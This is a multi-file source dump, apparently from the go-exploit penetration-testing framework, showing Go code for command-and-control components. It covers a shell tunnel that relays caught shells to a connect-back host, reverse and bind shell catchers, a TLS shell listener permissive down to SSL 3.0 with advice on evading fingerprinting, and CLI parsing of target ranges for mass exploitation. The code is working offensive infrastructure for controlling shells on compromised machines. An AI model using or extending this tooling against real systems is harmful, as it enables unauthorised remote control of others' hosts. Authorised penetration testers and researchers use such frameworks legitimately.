flag.IntVar(&shellTunnel.ConnectBackPort, "shellTunnel.cbPort", 1270, "The server port to tunnel the data back to")
flag.BoolVar(&shellTunnel.ConnectBackSSL, "shellTunnel.cbSSL", false, "Indicates if the connect-back should use SSL/TLS")
// optional for when SSL server is enabled
flag.BoolVar(&shellTunnel.SSLShellServer, "shellTunnel.sslListen", false, "Indicates if we should listen as an SSL/TLS server")
flag.StringVar(&shellTunnel.PrivateKeyFile, "shellTunnel.PrivateKeyFile", "", "A private key to use when being an SSL server")
flag.StringVar(&shellTunnel.CertificateFile, "shellTunnel.CertificateFile", "", "The certificate to use when being an SSL server")
}
func (shellTunnel *Server) Init(channel *channel.Channel) bool {
if channel.Shutdown == nil {
// Initialize the shutdown atomic. This lets us not have to define it if the C2 is manually
// configured.
var shutdown atomic.Bool
shutdown.Store(false)
channel.Shutdown = &shutdown
}
shellTunnel.channel = channel
if channel.IsClient {
output.PrintFrameworkError("Called ShellTunnel as a client. Use lhost and lport.")
return false
}
if shellTunnel.ConnectBackHost == "" {
output.PrintFrameworkError("Failed to provide a connect back host")
return false
}
if shellTunnel.ConnectBackPort == 0 {
output.PrintFrameworkError("Failed to provide a connect back port")
return false
}
output.PrintfFrameworkStatus("Starting listener on %s:%d", channel.IPAddr, channel.Port)
var err error
if shellTunnel.SSLShellServer {
shellTunnel.Listener, err = shellTunnel.createTLSListener(channel)
} else {
shellTunnel.Listener, err = net.Listen("tcp", channel.IPAddr+":"+strconv.Itoa(channel.Port))
}
if err != nil {
output.PrintFrameworkError("Couldn't create the server: " + err.Error())
return false
}
return true
}
func (shellTunnel *Server) Shutdown() bool {
// Account for non-running case
if shellTunnel.Channel() == nil {
return true
}
output.PrintFrameworkStatus("C2 received shutdown, killing server and client sockets for shell tunnel")
if len(shellTunnel.Channel().Sessions) > 0 {
for k, session := range shellTunnel.Channel().Sessions {
output.PrintfFrameworkStatus("Connection closed: %s", session.RemoteAddr)
shellTunnel.Channel().RemoveSession(k)
}
}
shellTunnel.Listener.Close()
return true
}
func (shellTunnel *Server) Channel() *channel.Channel {
return shellTunnel.channel
}
func (shellTunnel *Server) Run(timeout int) {
// terminate the server if no shells come in within timeout seconds
go func() {
time.Sleep(time.Duration(timeout) * time.Second)
if !shellTunnel.Channel().HasSessions() {
output.PrintFrameworkError("Timeout met. Shutting down shell listener.")
shellTunnel.Channel().Shutdown.Store(true)
}
}()
go func() {
for {
if shellTunnel.Channel().Shutdown.Load() {
shellTunnel.Shutdown()
break
}
time.Sleep(10 * time.Millisecond)
}
}()
// Accept arbitrary connections. In the future we need something for the
// user to select which connection to make active
for {
client, err := shellTunnel.Listener.Accept()
if err != nil {
if !strings.Contains(err.Error(), "use of closed network connection") {
output.PrintFrameworkError(err.Error())
}
return
}
if shellTunnel.Channel().Shutdown.Load() {
break
}
output.PrintfFrameworkSuccess("Caught new shell from %v", client.RemoteAddr())
// ShellTunnel is a bit of an outliar as we need to track the incoming connections and also the
// tunneled connections. This will allow for cleanup of connections on both ends of the pipe,
// but may not be immediately clear.
shellTunnel.Channel().AddSession(&client, client.RemoteAddr().String())
go handleTunnelConn(client, shellTunnel.ConnectBackHost, shellTunnel.ConnectBackPort, shellTunnel.ConnectBackSSL, shellTunnel.channel)
time.Sleep(10 * time.Millisecond)
}
}
func (shellTunnel *Server) createTLSListener(channel *channel.Channel) (net.Listener, error) {
var ok bool
var err error
var certificate tls.Certificate
if len(shellTunnel.CertificateFile) != 0 && len(shellTunnel.PrivateKeyFile) != 0 {
certificate, err = tls.LoadX509KeyPair(shellTunnel.CertificateFile, shellTunnel.PrivateKeyFile)
if err != nil {
return nil, fmt.Errorf("%s %w", err.Error(), ErrTLSListener)
}
} else {
output.PrintFrameworkStatus("Certificate not provided. Generating a TLS Certificate")
certificate, ok = encryption.GenerateCertificate()
if !ok {
return nil, fmt.Errorf("GenerateCertificate failed %w", ErrTLSListener)
}
}
output.PrintfFrameworkStatus("Starting TLS listener on %s:%d", channel.IPAddr, channel.Port)
listener, err := tls.Listen(
"tcp", fmt.Sprintf("%s:%d", channel.IPAddr, channel.Port), &tls.Config{
Certificates: []tls.Certificate{certificate},
// We have no control over the SSL versions supported on the remote target. Be permissive for more targets.
MinVersion: tls.VersionSSL30,
})
if err != nil {
return nil, fmt.Errorf("%s %w", err.Error(), ErrTLSListener)
}
return listener, nil
}
func handleTunnelConn(clientConn net.Conn, host string, port int, ssl bool, ch *channel.Channel) {
defer clientConn.Close()
// attempt to connect back to the serve. MixedConnect is both proxy aware and can
// produce an ssl or unencrypted connection so works pretty nice here
serverConn, ok := protocol.MixedConnect(host, port, ssl)
if !ok {
// This is a bit of a hack as the type of C2 callbacks is not tracked and we will have 1
// in the sessions from the client call. This checks if it's 1 or less and if it is then it
// will drop future conns.
if len(ch.Sessions) <= 1 {
output.PrintfFrameworkError("Failed to connect back to %s:%d closing server", host, port)
ch.Shutdown.Store(true)
return
}
output.PrintfFrameworkError("Failed to connect back to %s:%d", host, port)
return
}
ch.AddSession(&serverConn, serverConn.RemoteAddr().String())
output.PrintfFrameworkSuccess("Connect back to %s:%d success!", host, port)
defer serverConn.Close()
done := make(chan struct{})
// copy between the two endpoints until one dies
go func() {
_, _ = io.Copy(serverConn, clientConn)
done <- struct{}{}
}()
go func() {
_, _ = io.Copy(clientConn, serverConn)
done <- struct{}{}
}()
<-done
// Trigger shutdown after the first connection is dropped. in a future where multiple are handled
// this might not be ideal. Revist this when that time comes.
ch.Shutdown.Store(true)
}
================================================
FILE: c2/simpleshell/simpleshellclient.go
================================================
package simpleshell
import (
"net"
"sync/atomic"
"time"
"github.com/vulncheck-oss/go-exploit/c2/channel"
"github.com/vulncheck-oss/go-exploit/c2/cli"
"github.com/vulncheck-oss/go-exploit/output"
"github.com/vulncheck-oss/go-exploit/protocol"
)
type Client struct {
ConnectAddr string
ConnectPort int
channel *channel.Channel
}
var clientSingleton *Client
func GetClientInstance() *Client {
if clientSingleton == nil {
clientSingleton = new(Client)
}
return clientSingleton
}
func (shellClient *Client) CreateFlags() {
}
func (shellClient *Client) Shutdown() bool {
// Account for non-running case
if shellClient.Channel() == nil {
return true
}
ok := shellClient.Channel().RemoveSessions()
// we done here
output.PrintfFrameworkStatus("Connection closed")
return ok
}
func (shellClient *Client) Channel() *channel.Channel {
return shellClient.channel
}
func (shellClient *Client) Init(channel *channel.Channel) bool {
if channel.Shutdown == nil {
// Initialize the shutdown atomic. This lets us not have to define it if the C2 is manually
// configured.
var shutdown atomic.Bool
shutdown.Store(false)
channel.Shutdown = &shutdown
}
shellClient.ConnectAddr = channel.IPAddr
shellClient.ConnectPort = channel.Port
shellClient.channel = channel
if !channel.IsClient {
output.PrintFrameworkError("Called SimpleShellClient as a server. Use bport.")
return false
}
if channel.Port == 0 {
output.PrintFrameworkError("Provided an invalid bind port.")
return false
}
return true
}
func (shellClient *Client) Run(timeout int) {
conn, ok := connect(shellClient.ConnectAddr, shellClient.ConnectPort, timeout)
if !ok {
return
}
// Track if the C2 is indicated to shutdown for any reason.
go func() {
for {
if shellClient.Channel().Shutdown.Load() {
shellClient.Shutdown()
break
}
time.Sleep(10 * time.Millisecond)
}
}()
output.PrintfFrameworkStatus("Active shell on %s:%d", shellClient.ConnectAddr, shellClient.ConnectPort)
shellClient.Channel().AddSession(&conn, conn.RemoteAddr().String())
cli.Basic(conn, shellClient.channel)
shellClient.Channel().Shutdown.Store(true)
}
func connect(host string, port int, timeout int) (net.Conn, bool) {
// loop every three seconds until timeout
for i := 0; i < timeout; i += 3 {
// TCPConnect is proxy aware, so it will use the proxy if configured
conn, ok := protocol.TCPConnect(host, port)
if ok {
output.PrintfFrameworkSuccess("Connected to %s:%d!", host, port)
return conn, true
}
// this is technically not correct. TCPConnect itself has a 10 second timeout. If the server doesn't
// send a RST when we try to connect then we'll wait the full 10 + this 3 for a full 13... which means
// we won't honor the timeout correctly.
time.Sleep(3 * time.Second)
}
return nil, false
}
================================================
FILE: c2/simpleshell/simpleshellserver.go
================================================
// A simple unencrypted reverse shell C2.
package simpleshell
import (
"net"
"strconv"
"strings"
"sync"
"sync/atomic"
"time"
"github.com/vulncheck-oss/go-exploit/c2/channel"
"github.com/vulncheck-oss/go-exploit/c2/cli"
"github.com/vulncheck-oss/go-exploit/output"
)
// The SimpleShellServer implements a basic reverse shell catcher. The server listens on a user provided
// port and catches incoming unencrypted connections. The c2 implements a basic command line that lacks
// any type of useful bash-like features (history, interactive behavior, displaying of stderr, etc).
// The server can accept multiple connections, but the user has no way of swapping between them unless
// the terminate the connection.
type Server struct {
Listener net.Listener
channel *channel.Channel
}
var serverSingleton *Server
// A basic singleton interface for the c2.
func GetServerInstance() *Server {
if serverSingleton == nil {
serverSingleton = new(Server)
}
return serverSingleton
}
// User options for the simple shell server (currently empty).
func (shellServer *Server) CreateFlags() {
}
// Get the underlying C2 channel with metadata and session information.
func (shellServer *Server) Channel() *channel.Channel {
return shellServer.channel
}
// Shutdown the C2 and cleanup any active connections.
func (shellServer *Server) Shutdown() bool {
// Account for non-running case
if shellServer.Channel() == nil {
return true
}
output.PrintFrameworkStatus("C2 received shutdown, killing server and client sockets for shell server")
if len(shellServer.Channel().Sessions) > 0 {
for k, session := range shellServer.Channel().Sessions {
output.PrintfFrameworkStatus("Connection closed for shell server: %s", session.RemoteAddr)
shellServer.Channel().RemoveSession(k)
}
}
shellServer.Listener.Close()
return true
}
// Validate configuration and create the listening socket.
func (shellServer *Server) Init(channel *channel.Channel) bool {
if channel.Shutdown == nil {
// Initialize the shutdown atomic. This lets us not have to define it if the C2 is manually
// configured.
var shutdown atomic.Bool
shutdown.Store(false)
channel.Shutdown = &shutdown
}
shellServer.channel = channel
if channel.IsClient {
output.PrintFrameworkError("Called SimpleShellServer as a client. Use lhost and lport.")
return false
}
output.PrintfFrameworkStatus("Starting listener on %s:%d", channel.IPAddr, channel.Port)
var err error
shellServer.Listener, err = net.Listen("tcp", channel.IPAddr+":"+strconv.Itoa(channel.Port))
if err != nil {
output.PrintFrameworkError("Couldn't create the server: " + err.Error())
return false
}
return true
}
// Listen for incoming.
func (shellServer *Server) Run(timeout int) {
// mutex for user input
var cliLock sync.Mutex
// terminate the server if no shells come in within timeout seconds
go func() {
time.Sleep(time.Duration(timeout) * time.Second)
if !shellServer.Channel().HasSessions() {
output.PrintFrameworkError("Timeout met. Shutting down shell listener.")
shellServer.Channel().Shutdown.Store(true)
}
}()
// Track if the shutdown is signaled for any reason.
go func() {
for {
if shellServer.Channel().Shutdown.Load() {
shellServer.Shutdown()
break
}
time.Sleep(10 * time.Millisecond)
}
}()
// Accept arbitrary connections. In the future we need something for the
// user to select which connection to make active
for {
client, err := shellServer.Listener.Accept()
if err != nil {
if !strings.Contains(err.Error(), "use of closed network connection") {
output.PrintFrameworkError(err.Error())
}
break
}
output.PrintfFrameworkSuccess("Caught new shell from %v", client.RemoteAddr())
// Add the session for tracking first, so it can be cleaned up.
shellServer.Channel().AddSession(&client, client.RemoteAddr().String())
go handleSimpleConn(client, &cliLock, client.RemoteAddr(), shellServer.channel)
}
}
func handleSimpleConn(conn net.Conn, cliLock *sync.Mutex, remoteAddr net.Addr, ch *channel.Channel) {
// connections will stack up here. Currently that will mean a race
// to the next connection but we can add in attacker handling of
// connections latter
cliLock.Lock()
defer cliLock.Unlock()
// close the connection when the shell is complete
defer conn.Close()
// Only complete the full session handshake once
if !ch.Shutdown.Load() {
output.PrintfFrameworkStatus("Active shell from %v", remoteAddr)
cli.Basic(conn, ch)
}
}
================================================
FILE: c2/sslshell/sslshellserver.go
================================================
// sslshell is a simple c2 that listens for incoming ssl/tls connections in order to establish a reverse shell.
//
// The sslshell can generate it's own server certificate, or the user can provide their own. It's often a smart idea
// to provide unique certificate to avoid fingerprinting. To generate the required files you can use openssl:
//
// openssl genpkey -algorithm RSA -out private_key.pem
// openssl req -new -key private_key.pem -out csr.pem
// openssl x509 -req -days 365 -in csr.pem -signkey private_key.pem -out certificate.pem
//
// The private_key.pem and certificate.pem are then provided on the command line like so:
//
// ./cve-2021-22205_linux-arm64 -e -sslShellServer.PrivateKeyFile private_key.pem -sslShellServer.ServerField certificate.pem ...
//
// If a certificate is not provide, this c2 will generate one on the fly, but it is likely vulnerable to fingerprinting.
//
// This c2 can accept multiple connections, but it currently can only handle interacting with one at a time.
package sslshell
import (
"crypto/tls"
"flag"
"fmt"
"net"
"strings"
"sync"
"sync/atomic"
"time"
"github.com/vulncheck-oss/go-exploit/c2/channel"
"github.com/vulncheck-oss/go-exploit/c2/cli"
"github.com/vulncheck-oss/go-exploit/encryption"
"github.com/vulncheck-oss/go-exploit/output"
)
type Server struct {
// The socket the server is listening on
Listener net.Listener
// The file path to the user provided private key (if provided)
PrivateKeyFile string
// The file path to the user provided certificate (if provided)
CertificateFile string
// Upstream c2 channel, used for signaling for shutdowns and status reporting
channel *channel.Channel
}
var singleton *Server
// Get a singleton instance of the sslserver c2.
func GetInstance() *Server {
if singleton == nil {
singleton = new(Server)
}
return singleton
}
// Create the flags for accepting custom TLS configurations.
func (shellServer *Server) CreateFlags() {
// some c2 are really just chained implementations (e.g. httpserveshell is httpservefile plus simpleshell or sslshell).
// so first check if these values have already been generated
if flag.Lookup("sslShellServer.PrivateKeyFile") == nil {
flag.StringVar(&shellServer.PrivateKeyFile, "sslShellServer.PrivateKeyFile", "", "A private key to use with the SSL server")
flag.StringVar(&shellServer.CertificateFile, "sslShellServer.CertificateFile", "", "The certificate to use with the SSL server")
}
}
// Shutdown the C2 and close server and client connections when applicable.
func (shellServer *Server) Shutdown() bool {
// Account for non-running case
if shellServer.Channel() == nil {
return true
}
output.PrintFrameworkStatus("C2 received shutdown, killing server and client sockets for SSL shell server")
if len(shellServer.channel.Sessions) > 0 {
for k, session := range shellServer.channel.Sessions {
output.PrintfFrameworkStatus("Connection closed: %s", session.RemoteAddr)
shellServer.channel.RemoveSession(k)
}
}
shellServer.Listener.Close()
return true
}
// Return the underlying C2 channel with metadata and session information.
func (shellServer *Server) Channel() *channel.Channel {
return shellServer.channel
}
// Parses the user provided files or generates the certificate files and starts
// the TLS listener on the user provided IP/port.
func (shellServer *Server) Init(channel *channel.Channel) bool {
if channel.Shutdown == nil {
// Initialize the shutdown atomic. This lets us not have to define it if the C2 is manually
// configured.
var shutdown atomic.Bool
shutdown.Store(false)
channel.Shutdown = &shutdown
}
shellServer.channel = channel
if channel.IsClient {
output.PrintFrameworkError("Called SSLShellServer as a client. Use lhost and lport.")
return false
}
var ok bool
var err error
var certificate tls.Certificate
if len(shellServer.CertificateFile) != 0 && len(shellServer.PrivateKeyFile) != 0 {
certificate, err = tls.LoadX509KeyPair(shellServer.CertificateFile, shellServer.PrivateKeyFile)
if err != nil {
output.PrintfFrameworkError("Error loading certificate: %s", err.Error())
return false
}
} else {
output.PrintFrameworkStatus("Certificate not provided. Generating a TLS Certificate")
certificate, ok = encryption.GenerateCertificate()
if !ok {
return false
}
}
output.PrintfFrameworkStatus("Starting TLS listener on %s:%d", channel.IPAddr, channel.Port)
shellServer.Listener, err = tls.Listen(
"tcp", fmt.Sprintf("%s:%d", channel.IPAddr, channel.Port), &tls.Config{
Certificates: []tls.Certificate{certificate},
// We have no control over the SSL versions supported on the remote target. Be permissive for more targets.
MinVersion: tls.VersionSSL30,
})
if err != nil {
output.PrintfError("Error loading certificate: %s", err.Error())
return false
}
return true
}
// Listens for incoming SSL/TLS connections spawns a reverse shell handler for each new connection.
func (shellServer *Server) Run(timeout int) {
// mutex for user input
var cliLock sync.Mutex
// terminate the server if no shells come in within timeout seconds
go func() {
time.Sleep(time.Duration(timeout) * time.Second)
if !shellServer.channel.HasSessions() {
output.PrintFrameworkError("Timeout met. Shutting down shell listener.")
shellServer.channel.Shutdown.Store(true)
}
}()
go func() {
for {
if shellServer.channel.Shutdown.Load() {
shellServer.Shutdown()
break
}
time.Sleep(10 * time.Millisecond)
}
}()
// Accept arbitrary connections. In the future we need something for the
// user to select which connection to make active
for {
client, err := shellServer.Listener.Accept()
if err != nil {
if !strings.Contains(err.Error(), "use of closed network connection") {
output.PrintFrameworkError(err.Error())
}
return
}
output.PrintfFrameworkSuccess("Caught new shell from %v", client.RemoteAddr())
// Add the session for tracking first, so it can be cleaned up.
shellServer.Channel().AddSession(&client, client.RemoteAddr().String())
go handleSimpleConn(client, &cliLock, client.RemoteAddr(), shellServer.channel)
}
}
func handleSimpleConn(conn net.Conn, cliLock *sync.Mutex, remoteAddr net.Addr, channel *channel.Channel) {
// connections will stack up here. Currently that will mean a race
// to the next connection but we can add in attacker handling of
// connections latter
cliLock.Lock()
defer cliLock.Unlock()
// close the connection when the shell is complete
defer conn.Close()
// Only complete the full session handshake once
if !channel.Shutdown.Load() {
output.PrintfFrameworkStatus("Active shell from %v", remoteAddr)
cli.Basic(conn, channel)
}
}
================================================
FILE: cli/commandline.go
================================================
// Package cli defines the command line interface interaction logic for an exploit utilizing go-exploit.
//
// Generally most users will not use this package unless implementing a command line helper or new C2 interaction.
package cli
import (
"bufio"
"encoding/json"
"flag"
"fmt"
"io"
"net"
"os"
"strconv"
"strings"
"github.com/vulncheck-oss/go-exploit/c2"
"github.com/vulncheck-oss/go-exploit/config"
"github.com/vulncheck-oss/go-exploit/db"
"github.com/vulncheck-oss/go-exploit/output"
"github.com/vulncheck-oss/go-exploit/payload"
"github.com/vulncheck-oss/go-exploit/protocol"
)
// VulnCheck IPIntel data is shipped in single line JSON blobs. There is substantially more metadata, but
// for the purposes of the scann we need to support:
// {"ip":"127.0.0.1","port":80,"ssl":false}.
type IPIntel struct {
IP string `json:"ip"`
Port int `json:"port"`
SSL bool `json:"ssl"`
}
// A structure that defines the special flags this exploit implements.
type CustomFlag struct {
Name string
Type string
Default string
}
// Increment the provided IP address.
func inc(ip net.IP) {
for j := len(ip) - 1; j >= 0; j-- {
ip[j]++
if ip[j] > 0 {
break
}
}
}
// Generate all the IP Addresses specified by the CIDR. This... could consume a decent amount of memory.
func generateIPv4CIDR(cidr string) []string {
cidrSlice := make([]string, 0)
ip, ipNet, err := net.ParseCIDR(cidr)
if err != nil {
output.PrintFrameworkError(err.Error())
return cidrSlice
}
for ip := ip.Mask(ipNet.Mask); ipNet.Contains(ip); inc(ip) {
cidrSlice = append(cidrSlice, ip.String())
}
return cidrSlice
}
func buildRhosts(conf *config.Config, rhosts string, rports string) bool {
// convert the provided Rports to a slice of int
rportsSlice := make([]int, 0)
if len(rports) != 0 {
splitPorts := strings.Split(rports, ",")
for _, port := range splitPorts {
portInt, err := strconv.Atoi(port)
if err != nil {
output.PrintfFrameworkError("Failed to convert provided rports: %s", err)
return false
}
rportsSlice = append(rportsSlice, portInt)
}
} else {
rportsSlice = append(rportsSlice, conf.Rport)
}
// convert the rhosts csv into a slice of strings
rhostsSlice := make([]string, 0)
if len(rhosts) != 0 {
splitRhosts := strings.Split(rhosts, ",")
for _, host := range splitRhosts {
if strings.Contains(host, "/") {
rhostsSlice = append(rhostsSlice, generateIPv4CIDR(host)...)
} else {
rhostsSlice = append(rhostsSlice, host)
}
}
} else {
rhostsSlice = append(rhostsSlice, conf.Rhost)
}
// determine the SSL status to assign everything
SSL := config.SSLDisabled
if conf.SSL {
SSL = config.SSLEnabled
} else if conf.DetermineSSL {
SSL = config.SSLAutodiscover
}
// convert rhostsSlice and rportsSlices to many RhostTriplet. Obviously
// this will consume a lot of memory if you provide a ton of ip/port combos
// so probably just don't do that ok? Like 1 million is probably fine, right?
// 1 billion, not so much.
conf.RhostsNTuple = make([]config.RhostTriplet, 0)
for iHost := range rhostsSlice {
for iPort := range rportsSlice {
triplet := config.RhostTriplet{
Rhost: rhostsSlice[iHost],
Rport: rportsSlice[iPort],
SSL: SSL,
}
conf.RhostsNTuple = append(conf.RhostsNTuple, triplet)
}
}
return true
}
// Converts a CSV / triplet into a config.RhostTriplet to be used by the framework.
func parseTriplet(conf *config.Config, line string) bool {
triplet := strings.Split(line, ",")
if len(triplet) != 3 {
output.PrintfFrameworkError("Failed to convert the CSV into a triplet: %s", line)
return false
}
portInt, err := strconv.Atoi(triplet[1])
if err != nil {
output.PrintfFrameworkError("Failed to convert the provided rport: %s", triplet[1])
return false
}
// determine the SSL status to assign everything
SSL := config.SSLDisabled
if len(triplet[2]) != 0 {
SSL = config.SSLEnabled
} else if conf.DetermineSSL {
SSL = config.SSLAutodiscover
}
entry := config.RhostTriplet{
Rhost: triplet[0],
Rport: portInt,
SSL: SSL,
}
conf.RhostsNTuple = append(conf.RhostsNTuple, entry)
return true
}
// Converts a tuple (e.g. host.com:80) into a config.RhostTriplet to be used by the framework.
func parseTuple(conf *config.Config, line string) bool {
// Use last index in case line contains an ipv6 address
lastIndex := strings.LastIndex(line, ":")
if lastIndex == -1 {
output.PrintFrameworkError("The tuple doesn't contain a ':' character")
return false
}
portInt, err := strconv.Atoi(line[lastIndex+1:])
if err != nil {
output.PrintfFrameworkError("Failed to convert the provided rport: %s", line[lastIndex+1:])
return false
}
// user configured SSL autodiscovery
SSL := config.SSLDisabled
if conf.DetermineSSL {
SSL = config.SSLAutodiscover
}
entry := config.RhostTriplet{
Rhost: line[:lastIndex],
Rport: portInt,
SSL: SSL,
}
conf.RhostsNTuple = append(conf.RhostsNTuple, entry)
return true
}
// Converts an VulnCheck IP Intel JSON object into a config.RhostTriplet to be used by the framework.
func parseIPIntel(conf *config.Config, line string) bool {
var intel map[string]interface{}
err := json.Unmarshal([]byte(line), &intel)
if err != nil {
output.PrintfFrameworkError("Failed to unmarshal JSON: %s", line)
return false
}
// determine the SSL status to assign everything
SSL := config.SSLDisabled
if intel["ssl"].(bool) {
SSL = config.SSLEnabled
} else if conf.DetermineSSL {
SSL = config.SSLAutodiscover
}
entry := config.RhostTriplet{
Rhost: intel["ip"].(string),
Rport: int(intel["port"].(float64)),
SSL: SSL,
}
conf.RhostsNTuple = append(conf.RhostsNTuple, entry)
return true
}
// Consumes a file of remote hosts. The allowed formats are:
// 1. ip,port,<any value for ssl>
// 2. ip:port
// 3. VulnCheck IP Intel JSON
// The file can also be "-" which means stdin.
// Return true if conf.RhostsNTuple is not 0.
func parseRhostsFile(conf *config.Config, rhostsFile string) bool {
hostsFile := os.Stdin
if rhostsFile != "-" {
tmpHostsFile, err := os.Open(rhostsFile)
if err != nil {
output.PrintFrameworkError(err.Error())
return false
}
hostsFile = tmpHostsFile
defer hostsFile.Close()
}
conf.RhostsNTuple = make([]config.RhostTriplet, 0)
lineScan := bufio.NewScanner(hostsFile)
for lineScan.Scan() {
line := lineScan.Text()
switch {
case strings.HasPrefix(line, "{") && strings.HasSuffix(line, "}"):
if !parseIPIntel(conf, line) {
return false
}
case strings.Contains(line, ","):
if !parseTriplet(conf, line) {
return false
}
case strings.Contains(line, ":"):
if !parseTuple(conf, line) {
return false
}
case len(line) == 0:
return len(conf.RhostsNTuple) != 0
default:
output.PrintfFrameworkError("Unexpected rhosts-file line: %s", line)
return false
}
}
return len(conf.RhostsNTuple) != 0
}
// parse the user provided rhosts into config.Config.
func handleRhostsOptions(conf *config.Config, rhosts string, rports string, rhostsFile string) bool {
if len(rhostsFile) != 0 {
return parseRhostsFile(conf, rhostsFile)
}
// dump the selected user agent to debug
output.PrintfFrameworkDebug("Using the HTTP User-Agent: %s", protocol.GlobalUA)
return buildRhosts(conf, rhosts, rports)
}
func commonValidate(conf *config.Config, rhosts string, rports string, rhostsFile string) bool {
switch {
case len(conf.Rhost) == 0 && len(rhosts) == 0 && len(rhostsFile) == 0:
output.PrintFrameworkError("Missing required option 'rhost', 'rhosts', or 'rhosts-file'")
return false
case conf.Rport == 0 && len(rports) == 0 && len(rhostsFile) == 0:
output.PrintFrameworkError("Missing required option 'rport', 'rports', or 'rhosts-file'")
return false
case len(conf.Rhost) != 0 && len(rhosts) != 0:
output.PrintFrameworkError("'rhost' and 'rhosts' are mutually exclusive")
return false
case len(conf.Rhost) != 0 && len(rhostsFile) != 0:
output.PrintFrameworkError("'rhost' and 'rhosts-file' are mutually exclusive")
return false
case len(rhosts) != 0 && len(rhostsFile) != 0:
output.PrintFrameworkError("'rhosts' and 'rhosts-file' are mutually exclusive")
return false
case !conf.DoVerify && !conf.DoVersionCheck && !conf.DoExploit:
output.PrintFrameworkError("Please provide an action (-v, -c, -e)")
return false
case conf.SSL && conf.DetermineSSL:
output.PrintFrameworkError("-a and -s are mutually exclusive")
return false
}
// the user can also specify '-' for stdin which can't be used with os.Stat
if len(rhostsFile) != 0 && rhostsFile != "-" {
_, err := os.Stat(rhostsFile)
if err != nil {
output.PrintfFrameworkError("Failed to stat %s: %s", rhostsFile, err)
return false
}
}
return true
}
// command line options for proxying.
func proxyFlags(proxy *string) {
flag.StringVar(proxy, "proxy", "", "A proxy that will be used for all communication")
}
// Go can automatically handle HTTP proxying (if HTTP_PROXY env is set) and it can automatically
// handle HTTPS proxying (if HTTPS_PROXY env is set). It can't handle normal tcp socket proxying
// though, so we'll set ALL_PROXY for that (and handle the logic in protocol/tcpsocket.go).
func handleProxyOptions(proxy string) {
if len(proxy) == 0 {
return
}
os.Setenv("HTTP_PROXY", proxy)
os.Setenv("HTTPS_PROXY", proxy)
os.Setenv("ALL_PROXY", proxy)
}
// command line options for logging.
func loggingFlags(logFile *string, frameworkLogLevel *string, exploitLogLevel *string) {
flag.BoolVar(&output.FormatJSON, "log-json", false, "Indicates if logging should use JSON")
flag.StringVar(logFile, "log-file", "", "The file to write log messages to.")
logLevels := ""
for key := range output.LogLevels {
logLevels += "\n" + key
}
flag.StringVar(frameworkLogLevel, "fll", "STATUS", "The minimum log level for the framework:"+logLevels)
flag.StringVar(exploitLogLevel, "ell", "STATUS", "The minimum log level for the exploit:"+logLevels)
}
func handleLogOptions(logFile string, frameworkLogLevel string, exploitLogLevel string) bool {
value, found := output.LogLevels[frameworkLogLevel]
if !found {
output.PrintFrameworkError("Invalid framework log level provided")
return false
}
output.SetFrameworkLogLevel(value)
value, found = output.LogLevels[exploitLogLevel]
if !found {
output.PrintFrameworkError("Invalid exploit log level provided")
return false
}
output.SetExploitLogLevel(value)
if len(logFile) != 0 && !output.SetOutputFile(logFile) {
return false
}
return true
}
// command line flags for defining the remote host.
func remoteHostFlags(conf *config.Config, rhosts *string, rhostsFile *string, rports *string) {
flag.StringVar(&conf.Rhost, "rhost", "", "The remote target's IP address")
flag.StringVar(rhosts, "rhosts", "", "A comma delimited list of remote target IP addresses")
flag.StringVar(rhostsFile, "rhosts-file", "", "A CSV file or stdin with a list of targets")
// the Rport should be pre-configured to have a default value (see config.go:New())
flag.IntVar(&conf.Rport, "rport", conf.Rport, "The remote target's server port")
flag.StringVar(rports, "rports", "", "A comma delimited list of the remote target's server ports")
// generic all comms connection timeout
flag.IntVar(&protocol.GlobalCommTimeout, "timeout", 10, "A default timeout for all socket communication")
// allow the user to use their own HTTP user-agent if they so wish
flag.StringVar(&protocol.GlobalUA, "user-agent", protocol.GlobalUA, "The User-Agent to use in HTTP requests")
}
// command line flags for defining the local host.
func localHostFlags(conf *config.Config) {
flag.StringVar(&conf.Lhost, "lhost", "", "The IP address the configured c2 will bind to")
flag.IntVar(&conf.Lport, "lport", 0, "The port the configured c2 will bind to")
}
// command line flags that control the exploits behavior.
func exploitFunctionality(conf *config.Config) {
flag.BoolVar(&conf.DoVerify, "v", false, "Verify the target is "+conf.Product)
flag.BoolVar(&conf.DoVersionCheck, "c", false, "Perform a version check before attempting exploitation")
flag.BoolVar(&conf.DoExploit, "e", false, "Exploit the target")
}
// command line flags that control ssl communication with the target.
func sslFlags(conf *config.Config) {
flag.BoolVar(&conf.SSL, "s", false, "Use https to communicate with the target")
flag.BoolVar(&conf.DetermineSSL, "a", false, "Automatically determine if the remote target uses SSL")
}
// Allow the user to provide the `-db` command to share content across exploits and limit the size of the HTTP cache.
func dbFlags(conf *config.Config) {
flag.StringVar(&conf.DBName, "db", "", "An SQLite3 DB to share target data across")
flag.IntVar(&db.GlobalHTTPRespCacheLimit, "cacheMax", 10*(1024*1024), "The maximum size of an HTTP response that can be cached")
}
// handle generic sounding c2 flags.
func c2Flags(c2Selection *string, conf *config.Config) {
flag.BoolVar(&conf.ThirdPartyC2Server, "o", false, "Indicates if the reverse shell should be caught by an outside program (nc, openssl)")
if len(conf.SupportedC2) == 0 {
// the implementing exploit doesn't support any c2, just exit
return
}
c2Default := conf.SupportedC2[0].Name
c2Available := "The C2 server implementation to use. Supported: "
for _, value := range conf.SupportedC2 {
c2Name := value.Name
c2Available += "\n\t" + c2Name
// add the supported c2 flags, allowing for command line config of the backend
impl, success := c2.GetInstance(value)
if success {
impl.CreateFlags()
}
}
c2Available += "\n"
flag.StringVar(c2Selection, "c2", c2Default, c2Available)
// flags unique to remote code execution
flag.IntVar(&conf.Bport, "bport", 0, "The port to attach the bind shell to")
// checks if the default values have been changed in the exploit directly
if conf.C2Timeout != 30 && conf.C2Timeout != 0 {
flag.IntVar(&conf.C2Timeout, "t", conf.C2Timeout, "The number of seconds to listen for reverse shells.")
} else {
flag.IntVar(&conf.C2Timeout, "t", 30, "The number of seconds to listen for reverse shells.")
}
}
// loop through the c2 the exploit supports and find the one the user actually selected.
func validateC2Selection(c2Selection string, conf *config.Config) bool {
c2Selected, ok := c2.StringToImpl(c2Selection)
if !ok {
output.PrintFrameworkError("The user provided an invalid c2 implementation")
return false
}
// is this a supported c2?
foundSupported := false
for _, value := range conf.SupportedC2 {
if c2Selected == value {
foundSupported = true
}
}
if !foundSupported {
output.PrintFrameworkError("The c2 you selected is not supported by this exploit.")
return false
}
conf.C2Type = c2Selected
return true
}
// Print the details of the implementation to the configured log.
func printDetails(conf *config.Config) {
supportedC2Strings := make([]string, 0)
for _, value := range conf.SupportedC2 {
supportedC2Strings = append(supportedC2Strings, value.Name)
}
